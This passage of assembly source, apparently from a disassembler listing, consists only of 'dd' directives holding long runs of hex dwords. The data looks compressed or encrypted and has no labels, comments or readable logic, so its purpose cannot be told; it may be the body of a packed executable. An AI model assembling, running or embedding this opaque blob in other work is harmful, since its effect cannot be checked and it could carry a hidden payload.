		dd 2833BA02h, 7F6F02C2h, 1EDE84A0h, 30D38A2Ch, 3F7CE010h
		dd 5F0338BAh, 0FFEC40BEh, 71FF995h, 0F4B1060Eh,	42B9006Ah
		dd 63902CFh, 0CDC18166h, 0E933180Eh, 0D0D43D0Ch, 1EB115Dh
		dd 0CCA4F320h, 83713A5Fh, 45B58926h, 1052611Dh,	1C39BD8Bh
		dd 602742ADh, 70FDE164h, 0A185388Dh, 501B0A31h,	205740E8h
		dd 89E4C358h, 6646DC97h, 4000211Dh, 903BC350h, 1DB4833Ch
		dd 53480B5Ah, 8D580320h, 72032D41h, 26BF6650h, 29FA3D04h
		dd 0A4564450h, 0C35E3937h, 88748911h, 5646801Bh, 4E9D30C3h
		dd 5900EF7Dh, 0F680DFC0h, 1889517Bh, 5A05CDBDh,	0F85E835Fh
		dd 0C5103FB8h, 88A58601h, 0BC2D14F0h, 16BC4109h, 79321D8Ch
		dd 958B435Bh, 720C2C01h, 12D0FF5Ah, 6F175029h, 0C99D1889h
		dd 8D311010h, 0EC1D6568h, 2B7AE8E0h, 21AD0064h,	84456851h
		dd 0F80A41Ah, 0B114A38Ah, 0D820681h, 1DF9BD09h,	3AD2E8B0h
		dd 85792C61h, 8B012FB1h, 0EE14A1F8h, 0F7181CD1h, 5E5C8907h
		dd 6B928742h, 192540F3h, 5E88030h, 42022FC4h, 590EC581h
		dd 53882922h, 96C35BC3h, 4429AC56h, 53004318h, 1D4DD7C3h
		dd 2A8BCC38h, 53450D1h,	93A498BFh, 1BEE1007h, 1012E814h
		dd 0F31F38h, 0B7F85BB1h, 0BA36A7C4h, 60644001h,	5963065Dh
		dd 114445C6h, 0C35A8752h, 1C548922h, 0C3524207h, 9A51E3C0h
		dd 6CCA961h, 3BB748B6h,	0E92D8ACCh, 160B0760h, 15602ACh
		dd 8DAE6C9Bh, 20FAA9B5h, 0E9305743h, 0F7AF270Bh, 621B00DAh
		dd 0F363F595h, 5F503A79h, 0A66176AAh, 48B0F31h,	0BA663380h
		dd 359B3BDh, 2B71951Ah,	0D8478CD4h, 59398C51h, 4C8911C3h
		dd 41851788h, 0ADC0C351h, 14898054h, 9116318Dh,	15B82790h
		dd 8F3E288Ch, 8BD144B6h, 384FD048h, 410A209Dh, 0B91020CEh
		dd 102F2348h, 0F4660E45h, 0E8332995h, 89B35909h, 9BC02FD0h
		dd 3E640266h, 5FC9BF0Fh, 3953960h, 486AFC88h, 0DF0C8C04h
		dd 0BD4EBF1Ah, 9488A92h, 2B203690h, 0A6894874h,	6D0FE9C6h
		dd 0AF5AA000h, 8C9D4E5Bh, 87FA015Fh, 41550EC8h,	80D024DEh
		dd 6D3EC5ACh, 0F5010519h, 7310B5FFh, 0CDC52A81h, 318F0F36h
		dd 1AF6206Ah, 15D14591h, 5A674118h, 3BD8EDBEh, 9D09C004h
		dd 6034D351h, 127D85F8h, 0B7B90EC1h, 61C008BAh,	0F5BD1B83h
		dd 7581180Fh, 1128809h,	19748330h, 52125350h, 6350D2B8h
		dd 9D515DDh, 0A79D0ECFh, 0D3E0F8ACh, 2258565Bh,	20871720h
		dd 0C0A99688h, 758529F9h, 2672B51h, 5D30558Ch, 4389E4C3h
		dd 5545836Ch, 0E94C88C3h, 0A315C014h, 0A7160F0Ah, 401AE800h
		dd 4530B784h, 2A5D039Ch, 3263FE6Dh, 8D85C780h, 17C2166h
		dd 0BCF0833Dh, 2DE70452h, 0B8680028h, 0A0CEE4E7h, 0C31E95F4h
		dd 3B2485D5h, 147515B4h, 120E1B55h, 80C02F9h, 44B60E50h
		dd 71C96805h, 19150880h, 75C00B03h, 0B598110Ah,	0D4688008h
		dd 0AFC005DBh, 30213D40h, 9F54604h, 0B12D3619h,	0BE17469h
		dd 8BEC7408h, 4B3D864h,	942D250h, 38836605h, 0A1510409h
		dd 2056662Ah, 0DFE725F1h, 1B911748h, 0FA357305h, 0F7043213h
		dd 0C35F6157h, 0B17C89C8h, 5747C052h, 62007DC3h, 0F87003D7h
		dd 13FD2DF2h, 1DDAEA80h, 9163F708h, 0A00108BDh,	8422EBBAh
		dd 60561F37h, 0F0B9DC31h, 0FA89BE2Ah, 615D7C09h, 0B2690259h
		dd 261CA405h, 15F30852h, 800EE888h, 686906B3h, 0D0229CDh
		dd 0A334DB96h, 6860DF79h, 0FD59E95Fh, 0DD9E625Bh, 9660D1Ch
		dd 0E65B9AA0h, 44A06751h, 0F5406015h, 0C9B52689h, 0C09F2472h
		dd 92D4B6F8h, 47AD63Dh,	830F65CFh, 39017188h, 34C13185h
		dd 5088D2E4h, 0A9F10481h, 0C4035D79h, 8808CE71h, 8050C419h
		dd 8A1C1D1Ah, 0C78142C5h, 75F7E004h, 8184A8D2h,	1FE98029h
		dd 0A2792420h, 4450E7E3h, 0D4536018h, 0B6C204D9h, 83CAB70Fh
		dd 0D94CFC8Bh, 6AFA011Eh, 0F98B66FFh, 1DAE8C21h, 1446740Fh
		dd 0C9B21031h, 246C061Ah, 44C11CC5h, 0A76F530Dh, 0BA01C63Eh
		dd 58B3F4D8h, 0A20F2350h, 4CBC301Ah, 9F14257Ch,	2C81EA7Bh
		dd 0CF0994D2h, 0F107A241h, 198A0810h, 0B297C4CBh, 201AC5B8h
		dd 55F78151h, 2958A403h, 0C857505Fh, 3C6102D1h,	0A7D1723Ch
		dd 0EA801D03h, 76366C57h, 0A40DF48Bh, 1F5D2094h, 0E781F50Fh
		dd 7428C631h, 9B885372h, 0AC3016F2h, 6268624Eh,	0FAC61DE9h
		dd 840A7120h, 78389B53h, 0E822BCF7h, 4EE30011h,	39C81815h
		dd 0AB0066D8h, 736421D6h, 1DBAFDAh, 0C7E6803Fh,	5894B65Fh
		dd 2866B289h, 58FABA8h,	0C797EAB9h, 67830817h, 324922B1h
		dd 91FA6542h, 0B2603161h, 49ED9914h, 0A5D0807h,	31A346B7h
		dd 0A9C28103h, 2C710C60h, 0C8125A66h, 0A29122Bh, 0C92B026Ah
		dd 1A11D91Dh, 4FBCBB80h, 760E35C0h, 0AB8D3120h,	0FB59900Ch
		dd 0B9B80C66h, 0A7AA61CAh, 1F99518Ah, 6E0840ABh, 5ABAD0F8h
		dd 892A110Ch, 8975C069h, 504A9666h, 1EB5DB05h, 0C021F529h
		dd 510F690Ah, 22DC0F60h, 61F0B510h, 15E1850Ch, 5D912924h
		dd 818874B7h, 0F50C88Bh, 6AA9328Ah, 3F239966h, 8AD80225h
		dd 603E9064h, 8BAE03B9h, 0AE97FFCh, 2AC94507h, 6B43C491h
		dd 8404A9EAh, 209B8D52h, 1458D29h, 143848A1h, 0C0BAFA1Ch
		dd 0D16E9150h, 39B9181Dh, 75815CB2h, 9599B80Eh,	726549DAh
		dd 14A50097h, 0E194C4D6h, 0F783006Dh, 0D50A814Eh, 74A456F6h
		dd 24272B48h, 9F444616h, 68F88B41h, 42087504h, 6BA229D2h
		dd 5000F62Fh, 0B665753h, 5A8781BAh, 0F7335522h,	50CBFC90h
		dd 536F20C6h, 320D2078h, 15B15102h, 0C2C08559h,	1D330B3h
		dd 0C215B905h, 292A1485h, 1BE9F884h, 806000D0h,	40566DEDh
		dd 6140967Ch, 8841E72Ch, 4570EBBAh, 0B32C795Ch,	0C7098777h
		dd 601A44D4h, 265DDCEh,	0F9684534h, 3C728F0Fh, 9365148h
		dd 0C17010D1h, 0F22CC24h, 0FB99D08h, 14B1E905h,	1623403Ah
		dd 6591CD04h, 122D8C81h
		dd 3122B233h, 83E95A29h, 15294B28h, 0B71AEC04h,	0E0FFCD91h
		dd 0C5EFD5DDh, 20D8A30Eh, 810F8466h, 0A4E9A8E4h, 59DB01F2h
		dd 2869C60Dh, 19B6F350h, 0A03D3107h, 3C007A67h,	121B2913h
		dd 62CC52EBh, 2859573Ah, 3668803Eh, 0E0778C35h,	0EA190179h
		dd 1C12FF7h, 0CDBBCC69h, 5A4863F2h, 0D68B1243h,	44840928h
		dd 0CA318017h, 0F7556A1Fh, 0D3DDA22h, 41F3E940h, 24BC114h
		dd 3402293Eh, 0FB11028Eh, 0F9451EB9h, 0B60E4086h, 564C5033h
		dd 0C87D2A13h, 0CBBDAB81h, 69920F50h, 8A2B40h, 10C483EFh
		dd 4428E281h, 0C08B92A0h, 81E852h, 0F6049BEEh, 9E067h
		dd 51F573D5h, 0C07F17D4h, 0D3028577h, 0BD3392BEh, 9691D219h
		dd 0D3477C3Ah, 865EF8F7h, 0C8B00ECh, 0E177E323h, 0D100576Eh
		dd 408328F0h, 5B6897h, 4C7B721h, 0BD03A6B6h, 1A319927h
		dd 119B9754h, 188F8515h, 44BD77C2h, 726F0982h, 12046165h
		dd 0C4504DB6h, 5A6F26C7h, 6C0EEC86h, 8479F743h,	0EA80EC8Ch
		dd 852AC60Ch, 4402C905h, 0A3184F68h, 0A5087196h, 0D88B23B8h
		dd 0D3492CACh, 4A699EDDh, 748978ABh, 0EB713108h, 5B3E6594h
		dd 4A9B10ACh, 4D3CF478h, 94127F87h, 0C980823h, 0FF8226BBh
		dd 0F0E1BD62h, 605B9655h, 37157BBAh, 53A7064h, 0F1F9BF40h
		dd 6B9C3345h, 8D9D2941h, 718737A5h, 1F5B460Fh, 7BF282C2h
		dd 6C7A7113h, 1252457Eh, 0AAEB28BDh, 46749DB4h,	6C79001Bh
		dd 3B9B2384h, 4D3558DEh, 141A9110h, 7B7F68E9h, 3E2485A7h
		dd 0C530F509h, 3D84884Ah, 59B52982h, 16598513h,	9589FC41h
		dd 6D911EA1h, 34602C32h, 982D7108h, 917A1913h, 3A9BF417h
		dd 20D1F100h, 1C6B6D99h, 0C28610AEh, 6138FCC5h,	6E31908Bh
		dd 12E073F8h, 68913125h, 8C04F62Bh, 0D7013C9Ah,	810D02ADh
		dd 0CD63BF4Fh, 17A53B88h, 801891F6h, 0FEC5A0ABh, 64E8B18Bh
		dd 0CC504916h, 27C881B1h, 0F6108A62h, 0DA800F10h, 466055Bh
		dd 5AE136A4h, 0EE845912h, 48922831h, 8FD4FCA4h,	4C2FD4E4h
		dd 8C14E8DFh, 47FCE55Fh, 0D220C48Eh, 0E7CF1BCDh, 0C1E1A000h
		dd 0E6BF66C3h, 9D4AC24Ch, 8A922E25h, 0AB1B30Eh,	0AC898529h
		dd 0C23F688Ah, 0F0BF0432h, 0F1810384h, 22BC3CCDh, 2DA81041h
		dd 2DFA5107h, 45995C3Eh, 41374B4h, 0FB8A378Bh, 91AFD468h
		dd 0C5B50143h, 85C80503h, 0A16300C3h, 2FC22879h, 0F80249A2h
		dd 82192165h, 0D9A7F10Fh, 987B1814h, 0B0D20566h, 0F36A2E56h
		dd 8A6A7830h, 51F5A9Eh,	64C07EAEh, 343FD063h, 0E11A7DEAh
		dd 0CA050276h, 8DB1C06Ch, 0DBE3E780h, 16D62C3h,	9E75C9C6h
		dd 616E20D0h, 1424249h,	84496A07h, 105BA10Ah, 0ACE5834h
		dd 68C8C203h, 870C49FFh, 5B23C109h, 4B453196h, 12899A42h
		dd 2D41ABF8h, 920C6170h, 0BEDE99F6h, 0E83CC700h, 0EBC2CC59h
		dd 0A60E3B07h, 0E100B598h, 0DDF4FA1h, 25E9D855h, 901E1733h
		dd 0B8C33935h, 0EC10F403h, 8075F39Fh, 64038A1h,	0A24645F2h
		dd 0E24E7A3Ah, 1359C221h, 4D952910h, 0FA8BA3C7h, 0FFEA8091h
		dd 94AFAB60h, 0EF1CF66Fh, 4E419582h, 10D96277h,	0C011BE45h
		dd 65125F9Ch, 0D58004D0h, 115C9102h, 53521432h,	59F81CC8h
		dd 19A4E94Dh, 57F6E2Ah,	570C1C1Fh, 886BE301h, 5C207201h
		dd 75B35385h, 0B8301BB2h, 32FA13D0h, 39270A51h,	0CFB3139Eh
		dd 0C21488CBh, 1D566095h, 17B1004Fh, 2A03A792h,	4CD7ED85h
		dd 8922055Eh, 2DA76151h, 0A9EC7DF3h, 0B0195B8Ah, 0D31FCAFEh
		dd 106A1814h, 12CD1680h, 89629D3Ch, 80623C60h, 0D9F8DDF3h
		dd 9F561CAEh, 0D31900BDh, 96F480C2h, 10E96118h,	7901DF2Bh
		dd 0E134001Fh, 0F8D30F8Dh, 62093B7Fh, 39A47975h, 0B100D89h
		dd 0F90755B6h, 2B351FF5h, 0C89915D1h, 48288491h, 93AAC059h
		dd 3D08B2CDh, 4F74D09h,	2F6E49C0h, 1075B8BEh, 83561621h
		dd 0D08A0F12h, 50FEB133h, 0C58D3313h, 7F298585h, 23B22B2Ah
		dd 0FDDC0516h, 0A7CA09A8h, 1A91051Fh, 0D11C7280h, 0B2268F4Fh
		dd 0D31449C2h, 386090E9h, 9C63C9FCh, 1E1286AEh,	8080D8E2h
		dd 432EFDB2h, 0EE1A5601h, 0D1EF6128h, 0B9578105h, 7581042Fh
		dd 7E31FBEAh, 6F2B6649h, 6F570289h, 84DB1386h, 1429F87h
		dd 0E7502985h, 0B62B688Ch, 0F7293CDEh, 5C181D71h, 0A1D79007h
		dd 82018065h, 4030A630h, 0AC92B215h, 60989998h,	6A717CB9h
		dd 4674EDBEh, 4CDF4916h, 9F110FCh, 2380681Ah, 141CABC1h
		dd 23004DB2h, 36755144h, 1900C8F8h, 0DC72568Bh,	76B162Bh
		dd 526033F9h, 5A613063h, 6E90036Ah, 0E1142545h,	0B90949ADh
		dd 9A49FB02h, 88DD4EC0h, 17AEC514h, 9B4F16C3h, 692DC098h
		dd 24057DC5h, 1332EE7Fh, 0E34C52D9h, 0AC75064h,	7C32E989h
		dd 0F11E784Ch, 4FE4253Fh, 571F0365h, 0DF5A04C3h, 0C9B999A4h
		dd 13AD9509h, 0C046592h, 0F765C302h, 4F8BB26h, 5B243B04h
		dd 0B7E06CC7h, 2E0B50DEh, 930CD595h, 0D0A80B5Eh, 30D13E06h
		dd 5E1E8E20h, 469640E9h, 72E251FBh, 4883F000h, 0B3A0C9EBh
		dd 1FEF0CCFh, 8B42D50Fh, 5CF9FE5Ch, 78DE83EEh, 83F298EEh
		dd 0ABB42552h, 8A52410h, 0DAE69DF8h, 75373605h,	95CCB63Ch
		dd 55B8010Ah, 972C7A4Bh, 0F8A8285Fh, 0D8E48FD8h, 0C019C82Fh
		dd 8F20F7F5h, 8129FD07h, 3721EDFh, 584C664h, 0BC4EB95h
		dd 0E9E28082h, 1B722372h, 0E25F5A34h, 1C88D58Eh, 58E8B5C0h
		dd 4B8B003Ch, 8062A5A0h, 0C6944FF6h, 26828944h,	6159762Eh
		dd 53138F7h, 8B9A181h, 60C1C829h, 2B11B589h, 0F1E9640Fh
		dd 15BA2D00h, 615B8BACh, 50C23D98h, 501F52F2h, 0F9B791D0h
		dd 6D21819h, 0B7CFEB56h, 0A5209A95h, 2863B91Ch,	27B52CC2h
		dd 143A79F8h, 0D0F922C2h, 2CD39BB2h, 10323E3Ah,	0FDD94DD5h
		dd 941819F1h, 0B0B1F201h, 0D48A48A1h, 9737D065h, 0FC6D90F0h
		dd 28052EE0h, 605038B2h, 5571BE32h, 8101DCDAh, 0C06AC2D0h
		dd 0F9666175h, 96ED9C40h, 8FA745B1h, 0C019C844h, 0F7CF2B83h
		dd 0D3EFFA2Ch, 1D8182C9h, 94700920h, 20C21241h,	0DFD9D29h
		dd 39D0D4A4h, 18284D4h,	91109A10h, 4D2C4CF8h, 94678561h
		dd 8D89801Fh, 980FD025h, 80697449h, 3FA0F61h, 496912BEh
		dd 0C166C881h, 42458940h, 62AB2A25h, 42A26D59h,	0C1810118h
		dd 22442AC4h, 6604B466h, 8D55CDBAh, 0AAA54047h,	184BA23Dh
		dd 2460AB68h, 2947EB1h,	61031AE7h, 0FCA74A4Ch, 0DA601744h
		dd 2048660Fh, 275D1169h, 9F454C27h, 0C5BD2302h,	179F0A01h
		dd 589354CDh, 0DAFF00ABh, 9FBAAF13h, 860F13B1h,	0EBFE70Ch
		dd 220A224h, 895C7C62h,	0BD7482E8h, 15130A15h, 6125EEADh
		dd 0CAB55C3Ah, 9AE9A681h, 4CC6F8C6h, 400A977Eh,	0BD88CC60h
		dd 0F304AD20h, 86323DD8h, 0DB011482h, 91CC08E2h, 0BA03A350h
		dd 4E98E7Ch, 0C69EDCA8h, 7C1B7353h, 81BED200h, 80D5C8EFh
		dd 1725934Eh, 1BE50829h, 0F6C8E907h, 22312CFEh,	0D580800Ch
		dd 8BCD3C4Bh, 16CF8A84h, 18BD0E70h, 2AB53128h, 1FEF14ADh
		dd 2530E985h, 21E074EDh, 2CFA8BFDh, 805C66E9h, 8DFBBF0Fh
		dd 0D492B1B5h, 49DB2B58h, 8F8C4FA2h, 98F10181h,	8A7DA45Ch
		dd 392071D0h, 9F13D627h, 1BF26CE3h, 1D4B7C30h, 44D906A3h
		dd 0FCFCD11Dh, 8D23C273h, 0F187A9BDh, 791907EEh, 0AA9200F0h
		dd 1603A8DBh, 0F38BA0BAh, 19F588BFh, 0BD030A2Dh, 0CB6B2021h
		dd 4A5F9918h, 6A075B71h, 3F11C92h, 701F8A50h, 82351004h
		dd 69BF0313h, 0A3A378Bh
		dd 87C280E0h, 0B9F4851h, 0A64805D5h, 84B9FEB6h,	0C81FD9F9h
		dd 48B376D9h, 9FB858h, 0D95596AFh, 51BF2E61h, 0C5958913h
		dd 1593B49h, 7A91EF64h,	8D01D084h, 50CED2EDh, 9C70965Bh
		dd 5D631F9Fh, 41F24ED7h, 0D88B3DA1h, 0C9D88A53h, 38EB724h
		dd 434E5F89h, 3806BB50h, 0A219520h, 0CB445B9Dh,	5D988F0Fh
		dd 4F124271h, 9FC46120h, 8E8F00DBh, 2FEBF6E0h, 0EF002475h
		dd 0C92E63DAh, 5A74422Dh, 0FA98C23h, 185B66EDh,	0CD6250CFh
		dd 2860890Bh, 8C17BC42h, 11A84C0Ch, 41614E08h, 0FA629A1Dh
		dd 61841280h, 301510B4h, 46DD8992h, 0EA018A7Eh,	154BDE59h
		dd 454B5093h, 22C01D88h, 30FC85Eh, 43EF03E4h, 4A5C7061h
		dd 36738087h, 0B0944ADEh, 16B92061h, 89265961h,	317CB1BDh
		dd 124E6838h, 0E98F04C9h, 0ACC21321h, 68F0D4F9h, 0F0C62DA5h
		dd 0F6020C2h, 0EECD728Ch, 0FC521D61h, 38CE275Bh, 1B717F99h
		dd 260F1718h, 5718891h,	2882F743h, 32BBA99Dh, 0FE7A20D1h
		dd 3A40B5D8h, 811189C9h, 6CF462Ch, 1EF1BD31h, 18400BC3h
		dd 0B182DDB1h, 8130215Dh, 0E29E0BF2h, 3E967FC4h, 9805244h
		dd 8C3D10D9h, 8F20DFC4h, 43AD9C01h, 0D80039E0h,	6F729BACh
		dd 0E69749ABh, 0AD8D312Bh, 683AE9A9h, 629EA7h, 6A44E66Dh
		dd 0E8B8F225h, 98806CB4h, 1CAE7C9h, 0D56005Ch, 0F30B638Dh
		dd 894C29A1h, 0CCC23802h, 3D610A2Ah, 40914F98h,	0D58A6000h
		dd 0D68B61FCh, 0E4697B9Ch, 1771009Fh, 108C4052h, 0FC0111B4h
		dd 1CF39844h, 0C8315180h, 7100E023h, 0A9A173C1h, 0A0609DDAh
		dd 3AEB03C2h, 1E1213F5h, 89958C81h, 164AC9EEh, 59BDC6C8h
		dd 0F0A7BE1h, 3B590982h, 0C492E749h, 0B87CC798h, 0D7133EACh
		dd 0C611F23Fh, 42C6F80Bh, 33F8E40Bh, 2395B517h,	0C627C021h
		dd 425A91C8h, 0C781C980h, 0C572FE8h, 1D1F0EBh, 0F8044893h
		dd 5E889D89h, 0E40952E9h, 0F6B96602h, 3844E83Fh, 1A9F7D0Eh
		dd 9B4A61EDh, 5BC84320h, 0EB800179h, 0E9615865h, 72DA424h
		dd 2DE5411Bh, 1660196h,	0F1322976h, 210B7511h, 605A5156h
		dd 0DD509556h, 0F25C140Fh, 40EF4AB4h, 120C2CDFh, 8E0038EFh
		dd 24CBB0BBh, 50428B75h, 13BA8632h, 0CFCE67FFh,	0FEDDC856h
		dd 0EDB5DD43h, 0FEA81Ch, 0E847E9BDh, 14E402BAh,	3F08F75Ah
		dd 0F2800515h, 0EEA28Ch, 0D2F68981h, 48BD17h, 0D8AE0395h
		dd 4A34B445h, 8ED40204h, 64F09ADFh, 0C1BD3029h,	242E9B5h
		dd 0C59CA3BDh, 85CB082Ch, 3F28FE99h, 0C9316520h, 0CAAA91EEh
		dd 0DA81021Bh, 14312F3h, 0D24506Ah, 884F5F11h, 560053FDh
		dd 7A760F6Ah, 0F160DA9h, 361E4195h, 4F8B20A1h, 61042AF9h
		dd 0BF00FCA1h, 71E1BC6Ch, 452F404Ah, 3C001D23h,	4ABAE062h
		dd 0E3BD0028h, 0BF663DE9h, 65A4E8A8h, 0F24B3B9Fh, 346A0304h
		dd 0DCE19226h, 91FCC1A7h, 234C4A63h, 511BB910h,	0ED62D27Dh
		dd 66805ADCh, 0C3F6DB8Ch, 3440BC04h, 0C035BC19h, 0B8526856h
		dd 859C47A8h, 0B582046Ah, 64ED0E10h, 0CA7EF781h, 2D080141h
		dd 9B680447h, 79EC18ACh, 0A4F09E24h, 684F071Eh,	0BB2F2661h
		dd 796AA37Bh, 537D6038h, 0C256286Ah, 75C08518h,	68417598h
		dd 8764980Bh, 0E5CD7BDBh, 4C68701Dh, 0E772A468h, 82208056h
		dd 2F049D8Bh, 82D25BCEh, 54AE0933h, 0C7841515h,	763CE903h
		dd 0C40C4327h, 3D9D3420h, 0B1AB816Dh, 0AB6A1804h, 34534302h
		dd 2891B529h, 6D8517h, 0F7976845h, 18192A5h, 66990226h
		dd 2E0CAB02h, 6632750Ah, 0A1A3C06Dh, 0C32524Eh,	34D2D8C4h
		dd 56F2958Dh, 4249DC3Fh, 0E40B93B9h, 2D0564EDh,	0ACE833C4h
		dd 3E26EC2h, 0D18A3102h, 8435FF64h, 0D0E8526Ch,	8F8429C9h
		dd 6459011Dh, 15452589h, 0DB4570ACh, 5C7DE820h,	33C8C421h
		dd 8D1CF899h, 62D414h, 1FD78122h, 4609685Ch, 0D11DBD80h
		dd 12850A68h, 0CA0BE65h, 0AF3FE92Ch, 0FB0B640h,	61C70BBFh
		dd 7998DB33h, 2300E1B2h, 50801526h, 82D2E3h, 0F3D338DAh
		dd 339D5369h, 29FCC01Bh, 405B0EC2h, 0BA13F0Fh, 44058F64h
		dd 0D4ADEF73h, 2DF59D19h, 6E78AC5Ah, 0EEFFFB0Ch, 3398A60Eh
		dd 0DFAD1549h, 0D180170Fh, 11810D7Eh, 85D6E2Fh,	800FE938h
		dd 72EC157Ah, 2F003BAAh, 6CBB1A85h, 26141FCEh, 2CE08B80h
		dd 0E4811257h, 3CFFFBEh, 15B84C83h, 0C384A004h,	305C6A8Bh
		dd 97C203Ah, 0E6ED815Dh, 838B1B22h, 7A581B8Bh, 89183464h
		dd 4F5B5D33h, 21A1782h,	494E8D0Fh, 0DC211142h, 1578E980h
		dd 0B80B5AEEh, 5D12415Dh, 1B4024Dh, 468AF924h, 21205358h
		dd 170AB930h, 0D704B8h,	64054855h, 0BB0DF781h, 85D46500h
		dd 0B640BA86h, 0EAF4E134h, 0C5F67E8h, 68FB70EDh, 565F4D58h
		dd 84593693h, 50123865h, 54E98002h, 7295035Fh, 20F498EEh
		dd 1AA00FDDh, 3B5C2359h, 0E9864F18h, 0FB90BEBh,	0B8B5D516h
		dd 42043D08h, 0E10265Dh, 20C885ADh, 8CA9AF70h, 41BD2309h
		dd 0C2964A28h, 41862DA3h, 732E31C0h, 0AD307039h, 7845C001h
		dd 70016563h, 6E6F6974h, 66CD4920h, 516D72D8h, 0FF600C61h
		dd 7365796Ch, 202C1973h, 0E7741863h, 5F1D3FAFh,	733E7E68h
		dd 773E663Eh, 641272B3h, 6CF376E3h, 0B7CF70EBh,	6977B373h
		dd 9B1D3445h, 1B266C76h, 67676E1Ch, 2E73401Dh, 0E81F54D6h
		dd 795F6B5Fh, 0ACD755Eh, 98FE040Dh, 0CC702801h,	436E7380h
		dd 4C52540Eh, 0EBF6BF2Bh, 46695178h, 7AB764E5h,	707B4C18h
		dd 6C087954h, 627F6979h, 2964DAC5h, 34423610h, 0A627DF56h
		dd 25F73DF7h, 0C1431E9Ch, 496B63E8h, 640F524Eh,	47554F38h
		dd 72500F54h, 421DF46Fh, 323BDA0Fh, 0B6F3080Fh,	0F393D34h
		dd 51791E0Bh, 18A38E50h, 16C5A81Eh, 3202B5BDh, 0B9F92D44h
		dd 59A7C60Bh, 0E2301D00h, 0D687B1BFh, 0FA2419B2h, 19037462h
		dd 0F4C3504h, 441699FFh, 0F1C62444h, 0BFF19A65h, 51258588h
		dd 56230E08h, 230E1459h, 0E1C59A3h, 1859C123h, 59AA230Eh
		dd 0B2230E0Ch, 210E1059h, 0C3052B9h, 0E9800A79h, 4FF99A2h
		dd 8C14EDBDh, 0DA8953Ah, 2284218Dh, 8B251185h, 0B00E7A95h
		dd 1CF827C8h, 8D2D906Ch, 52E19095h, 4028C034h, 893BD4C3h
		dd 0F5CE1FEh, 43BB9DBEh, 8B2A5522h, 0C32D139Dh,	65F68A4Ch
		dd 50C41168h, 421E0822h, 0E4142154h, 1E182258h,	0C225C42h
		dd 0AB3EDCA5h, 6844AF0Dh, 5A52CD50h, 32100C64h,	0C18190Ch
		dd 8438614h, 0AA10422h,	211C26FEh, 710E3036h, 96B70717h
		dd 6A24191Ah, 4B202440h, 6D774B19h, 60BA0184h, 18EBC155h
		dd 0E9509BB3h, 17AB960Bh, 6EE55C60h, 38CA50E4h,	64C26180h
		dd 0A0E63404h, 14C86008h, 0ABF61008h, 24614F46h, 94F8E9C3h
		dd 31F48B21h, 0E6818E39h, 18ADF0C1h, 2BE8C991h,	0C6816E44h
		dd 303BCEE4h, 0F3906B5h, 51DDE986h, 2ED8208Fh, 6FCF6C22h
		dd 8C660250h, 0A0324C8h, 2A20DCD6h, 0BB4E7CB0h,	0E1854320h
		dd 1886800Fh, 0FADB0A3Bh, 7EC367A2h, 2404638Fh,	0B5CFC622h
		dd 81447D4h, 162D10E1h,	10F1F7Bh, 2FE174Ch, 531CC0BAh
		dd 663DAF52h, 9FCB189h,	535C5B02h, 834CAE09h, 43108582h
		dd 98BB88E0h, 80CBEF53h, 0C303E331h, 4BA13884h,	0D8C77976h
		dd 0C39C0CEDh, 74448B63h, 0C59852E6h, 0F806892Ah, 55CAF118h
		dd 23191E12h, 5BBD9401h, 84A3C8A2h, 923E8060h, 0BB2031EAh
		dd 0E3AB7A1h, 0B101B076h, 1E0F256h, 2C88AACh, 0D1C832C3h
		dd 0BAA12CBh, 4A0CCCD2h
		dd 0D6C90A32h, 0E1232DE5h, 1011A8DDh, 0D48B520Eh, 87A6057h
		dd 0A0E9C033h, 7080AA21h, 2A8DAC3Fh, 1BBC5A5Fh,	32565153h
		dd 99D4DB92h, 0D8A0AC47h, 681D3D1h, 465ABCC3h, 0E8F3B037h
		dd 97C80B49h, 0C38B81E8h, 0D15B595Eh, 2C7B4D60h, 0EAAC8C64h
		dd 1077AD2Ah, 90E723C0h, 0C0FD4DFh, 3C04A8D8h, 4CD4A629h
		dd 254A0BA7h, 8F60606Bh, 21D6AB85h, 3E062950h, 0F48944BDh
		dd 3F236BE9h, 8B3FE7C6h, 17050140h, 899B46F3h, 140C2149h
		dd 4656FF3Ch, 30C0511Eh, 34AE44F2h, 526987E9h, 727609DFh
		dd 0C7A4D00h, 0CA17B2B8h, 0D1C9A945h, 0E43006C0h, 46C801D1h
		dd 820FF73Bh, 28D49F1h,	289708EAh, 97284CB2h, 51560428h
		dd 4138453h, 980C4A2Ch,	2D503C67h, 4880AC9h, 13340198h
		dd 0C3C1D832h, 5D1C2108h, 5B1C4067h, 37A25E59h,	3B339802h
		dd 0B9199510h, 0C5B1581h, 8801FD10h, 0B8A56783h, 4050600Eh
		dd 0BF661DB3h, 61E50B63h, 43538B59h, 13663A78h,	8F1018BAh
		dd 6B0E8869h, 0E6221CDh, 0B52D1D04h, 0BF29007Eh, 5FBA6FDBh
		dd 1B2D581Dh, 0C9D900AFh, 6BF5E727h, 0F950C861h, 0C4ADE7B1h
		dd 0F1480133h, 87037CF7h, 962F27Bh, 0D449F79h, 0E9F74858h
		dd 24E20h, 0CCD807BEh, 81DF8C73h, 6F4DEA00h, 0F76668CFh
		dd 18FCD4C7h, 20023614h, 43C5F02Fh, 0E9D24610h,	3B5A8AAh
		dd 0DDFD9B8Dh, 6D86E992h, 0B9B7B5h, 8B281957h, 0FF4B2BD0h
		dd 0FB8084DBh, 43DC0ABEh, 58443C00h, 0CD80BFD8h, 0FEFC50EDh
		dd 783E4892h, 0B0F5BE01h, 7C936C70h, 7BF88BF3h,	0A291435Dh
		dd 0F202F0F8h, 5E70B200h, 0F130B950h, 9325094Dh, 10928A0Fh
		dd 1F0BF8F8h, 4C61FCA8h, 164DF85Eh, 99133726h, 889A0E5Ch
		dd 0B067C71Ah, 3062EC25h, 8BF9C60Bh, 0F18A89C4h, 40BE0023h
		dd 0EB01CD0Bh, 928A9ACEh, 5F65309h, 41B66109h, 7CD39FE2h
		dd 8F442Dh, 0D11FB13Bh,	6BFD3188h, 8A001E5Ah, 9CA15BBAh
		dd 710B5D7Ah, 0B519E922h, 21261A5h, 60CB8B11h, 6D48682Fh
		dd 20E64E55h, 304F28E1h, 1D0A744Ch, 53F9EF59h, 75E06380h
		dd 1676AFFFh, 0BB06D4DAh, 8B0FAE91h, 8268342Eh,	6CE6E7ECh
		dd 9174E00h, 0A39BEB62h, 0B23A2456h, 97916022h,	30006183h
		dd 0F429A2CFh, 72EC4113h, 28D74FEh, 1415520Ah, 850575Ah
		dd 0AA30105Bh, 1040B60Fh, 22C8FE01h, 1251EBB0h,	0B16C5F02h
		dd 807F9B4Ah, 0F5E6BC84h, 0AB604F6h, 0BC519E44h, 7D4D8085h
